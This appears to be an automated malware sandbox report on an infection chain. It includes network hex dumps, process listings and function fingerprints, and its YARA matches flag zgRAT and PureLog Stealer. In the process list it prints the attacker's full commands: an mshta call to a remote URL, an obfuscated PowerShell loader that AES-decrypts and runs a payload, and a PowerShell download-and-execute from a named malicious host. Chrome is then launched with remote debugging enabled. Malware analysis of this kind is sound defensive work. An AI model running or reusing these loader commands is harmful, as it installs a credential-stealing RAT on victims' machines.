2024-12-21 18:24:48 UTC	1369	IN	Data Raw: 40 00 06 43 72 65 61 74 65 03 00 00 00 00 00 0c 00 03 08 58 23 40 00 00 00 04 53 65 6c 66 02 00 02 9c 10 40 00 02 00 05 41 46 6c 61 67 02 00 02 b8 12 40 00 08 00 05 41 44 61 74 61 02 00 02 00 00 5c 23 40 00 07 0f 48 50 50 47 45 4e 41 74 74 72 69 62 75 74 65 b8 22 40 00 34 20 40 00 00 00 06 53 79 73 74 65 6d 00 00 00 00 02 00 00 00 00 00 8c 23 40 00 14 08 50 4d 6f 6e 69 74 6f 72 8c 24 40 00 02 00 a0 23 40 00 14 17 54 4d 6f 6e 69 74 6f 72 2e 50 57 61 69 74 69 6e 67 54 68 72 65 61 64 c0 23 40 00 02 00 00 c4 23 40 00 0e 17 54 4d 6f 6e 69 74 6f 72 2e 54 57 61 69 74 69 6e 67 54 68 72 65 61 64 0c 00 00 00 00 00 00 00 00 03 00 00 00 9c 23 40 00 00 00 00 00 02 04 4e 65 78 74 02 00 e4 10 40 00 04 00 00 00 02 06 54 68 72 65 61 64 02 00 00 11 40 00 08 00 00 00 02 09 Data Ascii: @CreateX#@Self@AFlag@AData\#@HPPGENAttribute"@4 @System#@PMonitor$@#@TMonitor.PWaitingThread#@#@TMonitor.TWaitingThread#@Next@Thread@
2024-12-21 18:24:48 UTC	1369	IN	Data Raw: 00 11 54 49 6e 74 65 72 66 61 63 65 64 4f 62 6a 65 63 74 31 00 e0 f1 40 00 11 41 66 74 65 72 43 6f 6e 73 74 72 75 63 74 69 6f 6e 03 00 00 00 00 00 08 00 01 08 10 29 40 00 00 00 04 53 65 6c 66 02 00 02 00 31 00 ec f1 40 00 11 42 65 66 6f 72 65 44 65 73 74 72 75 63 74 69 6f 6e 03 00 00 00 00 00 08 00 01 08 10 29 40 00 00 00 04 53 65 6c 66 02 00 02 00 2b 00 00 f2 40 00 0b 4e 65 77 49 6e 73 74 61 6e 63 65 03 00 9c 1f 40 00 08 00 01 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 00 14 29 40 00 07 11 54 49 6e 74 65 72 66 61 63 65 64 4f 62 6a 65 63 74 2c 28 40 00 9c 1f 40 00 00 00 06 53 79 73 74 65 6d 00 00 01 00 02 47 29 40 00 02 00 02 00 00 00 9c 10 40 00 d4 f1 40 00 00 00 00 00 01 00 00 00 00 00 00 80 00 00 00 80 ff ff 08 52 65 66 43 6f 75 6e 74 00 00 cc 83 44 Data Ascii: TInterfacedObject1@AfterConstruction)@Self1@BeforeDestruction)@Self+@NewInstance@Self)@TInterfacedObject,(@@SystemG)@@@RefCountD
2024-12-21 18:24:48 UTC	1369	IN	Data Raw: 70 61 74 63 68 02 00 28 13 40 00 08 00 00 00 02 06 56 45 72 72 6f 72 02 00 58 12 40 00 08 00 00 00 02 08 56 42 6f 6f 6c 65 61 6e 02 00 00 11 40 00 08 00 00 00 02 08 56 55 6e 6b 6e 6f 77 6e 02 00 64 10 40 00 08 00 00 00 02 09 56 53 68 6f 72 74 49 6e 74 02 00 b4 10 40 00 08 00 00 00 02 05 56 42 79 74 65 02 00 cc 10 40 00 08 00 00 00 02 05 56 57 6f 72 64 02 00 e4 10 40 00 08 00 00 00 02 09 56 4c 6f 6e 67 57 6f 72 64 02 00 e4 10 40 00 08 00 00 00 02 07 56 55 49 6e 74 33 32 02 00 14 11 40 00 08 00 00 00 02 06 56 49 6e 74 36 34 02 00 34 11 40 00 08 00 00 00 02 07 56 55 49 6e 74 36 34 02 00 00 11 40 00 08 00 00 00 02 07 56 53 74 72 69 6e 67 02 00 00 11 40 00 08 00 00 00 02 04 56 41 6e 79 02 00 d4 2b 40 00 08 00 00 00 02 06 56 41 72 72 61 79 02 00 00 11 40 00 08 Data Ascii: patch(@VErrorX@VBoolean@VUnknownd@VShortInt@VByte@VWord@VLongWord@VUInt32@VInt644@VUInt64@VString@VAny+@VArray@
2024-12-21 18:24:48 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 d4 4a 40 00 00 00 00 00 74 33 40 00 00 00 00 00 92 35 40 00 08 00 00 00 24 17 40 00 f8 7e 40 00 00 7f 40 00 f0 80 40 00 e8 80 40 00 08 81 40 00 0c 81 40 00 10 81 40 00 04 81 40 00 8c 7d 40 00 a4 7d 40 00 d8 7d 40 00 00 00 43 00 9b 35 40 00 44 00 f4 ff c1 35 40 00 41 00 f4 ff e6 35 40 00 41 00 f4 ff 0c 36 40 00 41 00 f4 ff 34 36 40 00 41 00 f4 ff 62 36 40 00 41 00 f4 ff 90 36 40 00 43 00 f4 ff c6 36 40 00 43 00 f4 ff 11 37 40 00 43 00 f4 ff 45 37 40 00 43 00 f4 ff a7 37 40 00 43 00 f4 ff 09 38 40 00 43 00 f4 ff 6b 38 40 00 43 00 f4 ff cd 38 40 00 43 00 f4 ff 2f 39 40 00 43 00 f4 ff 91 39 40 00 43 00 f4 ff f3 39 40 00 43 00 f4 ff 55 3a 40 00 43 00 f4 ff b7 3a 40 00 43 00 f4 ff 19 3b 40 00 43 00 f4 ff 7b 3b 40 00 43 00 f4 ff dd Data Ascii: J@t3@5@$@~@@@@@@@@}@}@}@C5@D5@A5@A6@A46@Ab6@A6@C6@C7@CE7@C7@C8@Ck8@C8@C/9@C9@C9@CU:@C:@C;@C{;@C
2024-12-21 18:24:48 UTC	1369	IN	Data Raw: 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 08 32 40 00 01 00 03 53 72 63 02 00 01 04 4c 40 00 02 00 04 44 65 73 74 02 00 00 9c 10 40 00 0c 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 3c 4c 40 00 01 00 03 53 72 63 02 00 00 9c 10 40 00 02 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 08 32 40 00 0c 00 04 44 65 73 74 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 08 32 40 00 01 00 03 53 72 63 02 00 01 3c 4c 40 00 02 00 04 44 65 73 74 02 00 00 9c 10 40 00 0c 00 0a 53 74 61 72 74 49 Data Ascii: Self2@SrcL@Dest@StartIndex@Countb(JCopySelf<L@Src@StartIndex2@Dest@Countb(JCopySelf2@Src<L@Dest@StartI

Target ID:	0
Start time:	13:22:57
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /C ""C:\Windows\system32\mshta.exe" https://pawpaws.readit-carfanatics.com/madonna.mp4"
Imagebase:	0x360000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	13:22:57
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff76c130000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:22:57
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\mshta.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\mshta.exe" https://pawpaws.readit-carfanatics.com/madonna.mp4
Imagebase:	0xbc0000
File size:	13'312 bytes
MD5 hash:	06B02D5C097C7DB1F109749C45F3F505
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:23:00
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function qtyVd($UNYZ){return -split ($UNYZ -replace '..', '0x$& ')};$ZKIHj = qtyVd('943C2C5C46A72B5C4C8C5C1A51E4FDD0974703BCE4EDF56B369378DFB2ECC854E259560AB569239046F77EA06A763337BD3340FF80B07C3CFCE33778E61B44845B5324775EE6ECAD2D2F37DD4F8DC9D93A8ABA7267AA5EA340079FA2334C6403714460816209B0D0411244284F7B8814FD62C23E419A8D047CB9595A51FEA7A3BCA7328CC8FCAF14C3F8165E90E2486DFAD60C27534F2C51C86D7F420CBBA4ABB44CACB3574A60609ED4B1F8BBC087D26FFE66EEB68F5686820C155B78783E6E11CF5815FCD1E2F8CA8C49791C0C4DF291EA66A7712921D9C59DB6E39D4F98ED2DC1A8E7A9946079CA7BF16CE0B32D041BED47781FEB352BDF1FB6018763D773644268B71F2526F6A617A9272A9ACDB0172FF20C3D1547782E3DBE0EDEC2C049AEA1DCE8744256C6E8717D86E602BF21D022B7E481612FD0E5AD43DEF8AEFF4BB1BB463D861888792AC5CFDAC45C5AAD05BEE91DABCC7A8CE6DC0862F3E928BE382F093C9D84D38A85151EEABB858C33520B5AABA90DFF68EE69A74D113C6C05BC871865DA879842D0B54C1DB7F4958097D12CECC5F9E39C9F6EF9ADF065DDA2643775FF589BDDA148E4527B97DE7BA451AC1EE997B73B0A1625177692622E4719148456AC24DEEA746D100F63E2E62646F66B245D3EED88607AB4D8A6022FA2F645BBFA59344E4471CB907FA8E491AA033889DB9D942E3F5420FF522C4C2C6217479BAC41430765CC37214D382A23920123068E397CA5AE645C1D0119DB511F8B852EA48834469651D0EC476969F2449303E7019452064057CE45DC4E16896B015B29CB64430183AF5618B121490DEE43084DC3253BC82E49716867CB584156D7865E1FA9DA392090109DF6E9A6CEFCAB60BE063896FE271D5F7145798747455EBE31B24E9BAE3DDE94E125C3AAB0F1CC7DA5D7D2C49F75D3D71BE3450EDFB23086A4D618521B1EE6EA4F7759E9CFC131005524C9B65D1D3D9FCB4F3E8A222D8020E0829864F6709CEA97810C2185CB147F13C7495B150A44FE94EC3E805FBE21BAB82B15870CAE560AAE4D4D533E433ABF4E5A563B39F36B23B63195F3779B0F8E07AE51936D7659CF47354C6662908568295088267D164DBF8CD609767B8170DEFEE21B10CE5C7244C519247C7C2F9CE8D7FA4027320E443B37F498F4BCDE2E63A97AC0167DCBD9DF73193FA93B3A82859FC1C7C6A740DD7140682426D7269E3DDEB5AB9467EC828C2C24E5D9149A12D98DFF32D05203D7536888907C29CA12DFCFB29B179E5F80DF3C545318D33794FAE90BEC7C573D81530A72C3E1664C1FCD78FFE0CC509A78F2E435BEE0A9EE5E4C0F5F6825B6883A784655B387AC0A63D3779D94D06E0C3BFC63D493D83B351266304E3C6A7FE938DB9F5FFD576369C82CA0050C55C2E8E82286D9AC048EE0F6E20CF515B8D1A1268959B2D3E695204352487CF3533397B42917060A182262AA9F2EA0B93E6742C4A2C669E95CD728');$MIDMd=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((qtyVd('794A5742476F737A6A656E545246734B')),[byte[]]::new(16)).TransformFinalBlock($ZKIHj,0,$ZKIHj.Length)); & $MIDMd.Substring(0,3) $MIDMd.Substring(129)
Imagebase:	0x830000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:23:00
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff76c130000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:23:01
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command & {'2LT'\|ForEach-Object {SI Variable:2LT ([PowerShell]::Create()); [Void](Get-Item Variable:\2LT).Value.AddScript((([System.Net.WebClient]::New().((([System.Net.WebClient]::New()\|Get-Member)\|Where-Object{(Get-Variable _ -Value).Name -ilike 'wnd*g'}).Name)('https://pawpaws1.readit-carfanatics.com/madonna.vstx')))); (Get-Item Variable:\2LT).Value.Invoke(); (Get-Item Variable:\2LT).Value.Dispose()}}
Imagebase:	0x830000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000005.00000002.7035056787.00000000071F0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: 00000005.00000002.7038731981.00000000076E0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000005.00000002.7038731981.00000000076E0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:23:01
Start date:	21/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff76c130000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:24:23
Start date:	21/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
Imagebase:	0x830000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	13:24:26
Start date:	21/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Imagebase:	0x7ff785e00000
File size:	2'742'376 bytes
MD5 hash:	BB7C48CDDDE076E7EB44022520F40F77
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	13:24:28
Start date:	21/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-subproc-heap-profiling --field-trial-handle=2700,i,6766550115079121299,15860530611730691376,262144 --variations-seed-version=20240909-180142.416000 --mojo-platform-channel-handle=2692 /prefetch:3
Imagebase:	0x7ff61b0c0000
File size:	2'742'376 bytes
MD5 hash:	BB7C48CDDDE076E7EB44022520F40F77
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Function 0B221000 Relevance: 1.4, Strings: 1, Instructions: 118COMMON

Download Yara Rule

Strings

!, xrefs: 0B2210A0

Memory Dump Source

Source File: 00000002.00000003.6186733569.000000000B221000.00000010.00000800.00020000.00000000.sdmp, Offset: 0B221000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_b221000_mshta.jbxd

Similarity

API ID:
String ID: !
API String ID: 0-2657877971
Opcode ID: 0fc281d92b1682acdff69237891d9134a402a1e01188c8888d816a450fa981d1
Instruction ID: 3a7c628e394682f2cf3f720a82e3871c8eef42a2faae9e9d3a0d30185f2e1e13
Opcode Fuzzy Hash: 0fc281d92b1682acdff69237891d9134a402a1e01188c8888d816a450fa981d1
Instruction Fuzzy Hash: 33410334B24325AFDB248B54C9C2B6DB7E1EF44B12F4046A9EE65E7381D3748C24C692

Function 0B22217B Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000003.6186692301.000000000B222000.00000010.00000800.00020000.00000000.sdmp, Offset: 0B222000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_b222000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8754de4fd11bf33d7f36fd65fab05ae0c2e5e50088891dd7ce83cb8e4e7a81fd
Instruction ID: 2dbdc68fc79c8e62ffba33ebd6ce6bfb513fce62d342c308a59372054e572c26
Opcode Fuzzy Hash: 8754de4fd11bf33d7f36fd65fab05ae0c2e5e50088891dd7ce83cb8e4e7a81fd
Instruction Fuzzy Hash: F4F0C830B60321BBCB148BA44D96BFEBBE99B15610F0404ADE641F7281D6A95D018BA0

Function 066B0FE7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000003.6186770761.00000000066B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_66b0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a9ce593b8061fe11d005a8fadf4466c64fb9f615bec526e67dbe7247faadaf0
Instruction ID: 791ff7c0f767457ed9e43f65f5dff2bbaa6bad091a90b9762ea51a3b19ffedb4
Opcode Fuzzy Hash: 1a9ce593b8061fe11d005a8fadf4466c64fb9f615bec526e67dbe7247faadaf0
Instruction Fuzzy Hash:

Function 066B0FCF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000003.6186770761.00000000066B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_66b0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a9ce593b8061fe11d005a8fadf4466c64fb9f615bec526e67dbe7247faadaf0
Instruction ID: 791ff7c0f767457ed9e43f65f5dff2bbaa6bad091a90b9762ea51a3b19ffedb4
Opcode Fuzzy Hash: 1a9ce593b8061fe11d005a8fadf4466c64fb9f615bec526e67dbe7247faadaf0
Instruction Fuzzy Hash:

Function 066B0FC7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000003.6186770761.00000000066B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_66b0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a9ce593b8061fe11d005a8fadf4466c64fb9f615bec526e67dbe7247faadaf0
Instruction ID: 791ff7c0f767457ed9e43f65f5dff2bbaa6bad091a90b9762ea51a3b19ffedb4
Opcode Fuzzy Hash: 1a9ce593b8061fe11d005a8fadf4466c64fb9f615bec526e67dbe7247faadaf0
Instruction Fuzzy Hash:

Function 066B0FAF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000003.6186770761.00000000066B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_66b0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a9ce593b8061fe11d005a8fadf4466c64fb9f615bec526e67dbe7247faadaf0
Instruction ID: 791ff7c0f767457ed9e43f65f5dff2bbaa6bad091a90b9762ea51a3b19ffedb4
Opcode Fuzzy Hash: 1a9ce593b8061fe11d005a8fadf4466c64fb9f615bec526e67dbe7247faadaf0
Instruction Fuzzy Hash:

Function 066B0FA7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000003.6186770761.00000000066B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_66b0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a9ce593b8061fe11d005a8fadf4466c64fb9f615bec526e67dbe7247faadaf0
Instruction ID: 791ff7c0f767457ed9e43f65f5dff2bbaa6bad091a90b9762ea51a3b19ffedb4
Opcode Fuzzy Hash: 1a9ce593b8061fe11d005a8fadf4466c64fb9f615bec526e67dbe7247faadaf0
Instruction Fuzzy Hash:

Function 066B0FBF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000003.6186770761.00000000066B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_66b0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a9ce593b8061fe11d005a8fadf4466c64fb9f615bec526e67dbe7247faadaf0
Instruction ID: 791ff7c0f767457ed9e43f65f5dff2bbaa6bad091a90b9762ea51a3b19ffedb4
Opcode Fuzzy Hash: 1a9ce593b8061fe11d005a8fadf4466c64fb9f615bec526e67dbe7247faadaf0
Instruction Fuzzy Hash:

Function 066B0F9F Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000003.6186770761.00000000066B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_3_66b0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a9ce593b8061fe11d005a8fadf4466c64fb9f615bec526e67dbe7247faadaf0
Instruction ID: 791ff7c0f767457ed9e43f65f5dff2bbaa6bad091a90b9762ea51a3b19ffedb4
Opcode Fuzzy Hash: 1a9ce593b8061fe11d005a8fadf4466c64fb9f615bec526e67dbe7247faadaf0
Instruction Fuzzy Hash:

Analysis Process: powershell.exePID: 7292, Parent PID: 3068COMMON

Executed Functions

Function 04523870 Relevance: .3, Instructions: 343COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.6175274456.0000000004520000.00000040.00000800.00020000.00000000.sdmp, Offset: 04520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4520000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d720bd7723f9208c452fab33533ce24d7f07eb856968005ed3869dd3d3085c69
Instruction ID: fc610a900ec300f0c5ea8eb8e795f54ecb9bd8923d77896b005b4c278757b1ca
Opcode Fuzzy Hash: d720bd7723f9208c452fab33533ce24d7f07eb856968005ed3869dd3d3085c69
Instruction Fuzzy Hash: 61E14D34A00259AFDB05CFA8D584A9DFBF1FF4A310F15819AE845AB3A1C735ED81CB90

Function 04522FF0 Relevance: .2, Instructions: 246COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.6175274456.0000000004520000.00000040.00000800.00020000.00000000.sdmp, Offset: 04520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4520000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a9f5548af75a49d181df152a6439e3fe6b5eac24191854bde774803292bee76
Instruction ID: 7125c3f60196f9eb774603b9602c50de735db21648b4c47540b73213174400ee
Opcode Fuzzy Hash: 4a9f5548af75a49d181df152a6439e3fe6b5eac24191854bde774803292bee76
Instruction Fuzzy Hash: 40A1A174A002158FCB15CFA8C595AAEF7F2FF89310B24856AD815AB3A5C735FC51CBA0

Function 04523100 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.6175274456.0000000004520000.00000040.00000800.00020000.00000000.sdmp, Offset: 04520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4520000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61181fee981be61e7db23d4f1c6eff1cd3bc9b632398f7474225d3dbc29184d4
Instruction ID: 0b724a37a91203e34b25ec0f3a6b00530623498652b2b2cd6c64f219b9cba87f
Opcode Fuzzy Hash: 61181fee981be61e7db23d4f1c6eff1cd3bc9b632398f7474225d3dbc29184d4
Instruction Fuzzy Hash: D5414A74A006199FCB09CF98C694AAEF7B1FF49310B11819AD815AB3A5C735FD51CBA0

Function 04523860 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.6175274456.0000000004520000.00000040.00000800.00020000.00000000.sdmp, Offset: 04520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4520000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba1346a492a926209b123431d033404f9707cfd5a3edab052cf55acc63c70e26
Instruction ID: f18805af5170e1aeb8f83db9eeab4ac5fe37fba6c887a1cbbe10e8ec0af15e9f
Opcode Fuzzy Hash: ba1346a492a926209b123431d033404f9707cfd5a3edab052cf55acc63c70e26
Instruction Fuzzy Hash: 02213674A002159FCB04CF98D9849AAFBB1FF4D310B2481AAE849EB761C735ED51CBA1

Function 043DD01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.6174785531.00000000043DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 043DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_43dd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b4f9eb254bc5439cb54fdfb54c7f033e6a23488d7b2b0ead5127ac0fc9aa13f
Instruction ID: d64ea1d3c307ba81de868536c82495edcdcdc8a307b5d74da743c86783e0b830
Opcode Fuzzy Hash: 2b4f9eb254bc5439cb54fdfb54c7f033e6a23488d7b2b0ead5127ac0fc9aa13f
Instruction Fuzzy Hash: C901F232504340ABE7208E29FCC4BA2BB9CEF81334F18802BEC450B256D279A845CAB1

Function 043DD006 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.6174785531.00000000043DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 043DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_43dd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2fbb7f1fde99562613ddf880703a1962537226803f8ba5f020ffffd4a10631f
Instruction ID: 52ea778b2619a46c9ae4db97b67cb5822143a6ad9a754306f1d4b2bd16e8a8d9
Opcode Fuzzy Hash: e2fbb7f1fde99562613ddf880703a1962537226803f8ba5f020ffffd4a10631f
Instruction Fuzzy Hash: 1D01887240E3C05FD7164B259C94B52BFB4DF53224F1D81DBD9848F2A7C2695849C772

Analysis Process: powershell.exePID: 8068, Parent PID: 7292COMMON

Execution Graph

Execution Coverage:	4.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	7.7%
Total number of Nodes:	300
Total number of Limit Nodes:	9

Executed Functions

Function 079F4280 Relevance: 16.1, Strings: 12, Instructions: 1101COMMON

Download Yara Rule

Strings

$gr, xrefs: 079F4BAA
$gr, xrefs: 079F4787
$gr, xrefs: 079F4BBA
$gr, xrefs: 079F46D7
,kr, xrefs: 079F4D3A
$gr, xrefs: 079F4777
$gr, xrefs: 079F4503
4, xrefs: 079F4C55
$gr, xrefs: 079F46C7
$gr, xrefs: 079F4B51
$gr, xrefs: 079F4513
$gr, xrefs: 079F4B61

Memory Dump Source

Source File: 00000005.00000002.7041704593.00000000079F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_79f0000_powershell.jbxd

Similarity

API ID:
String ID: ,kr$4$$gr$$gr$$gr$$gr$$gr$$gr$$gr$$gr$$gr$$gr
API String ID: 0-476305942
Opcode ID: 77ee188a79882825ce1ca289b726990d6745c8e2d2a29df43a3a19a1a8106fa7
Instruction ID: 48643facbd758a2d59136dc4ab8c2b89ae1c8ae06d10cbd8ca956f32dd1d5bc4
Opcode Fuzzy Hash: 77ee188a79882825ce1ca289b726990d6745c8e2d2a29df43a3a19a1a8106fa7
Instruction Fuzzy Hash: 0AB209B4B002199FDB14CFA8C994BAEB7B6BF88304F158199E605AB3A5DB74DC41CF50

Function 079F45A7 Relevance: 8.0, Strings: 6, Instructions: 495COMMON

Download Yara Rule

Strings

$gr, xrefs: 079F4BAA
,kr, xrefs: 079F4D3A
$gr, xrefs: 079F4777
4, xrefs: 079F4C55
$gr, xrefs: 079F46C7
$gr, xrefs: 079F4B51

Memory Dump Source

Source File: 00000005.00000002.7041704593.00000000079F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_79f0000_powershell.jbxd

Similarity

API ID:
String ID: ,kr$4$$gr$$gr$$gr$$gr
API String ID: 0-2441672243
Opcode ID: de1d9a355a364c9f5469eefc2fc799b5b203345804be818347a1af91952372dc
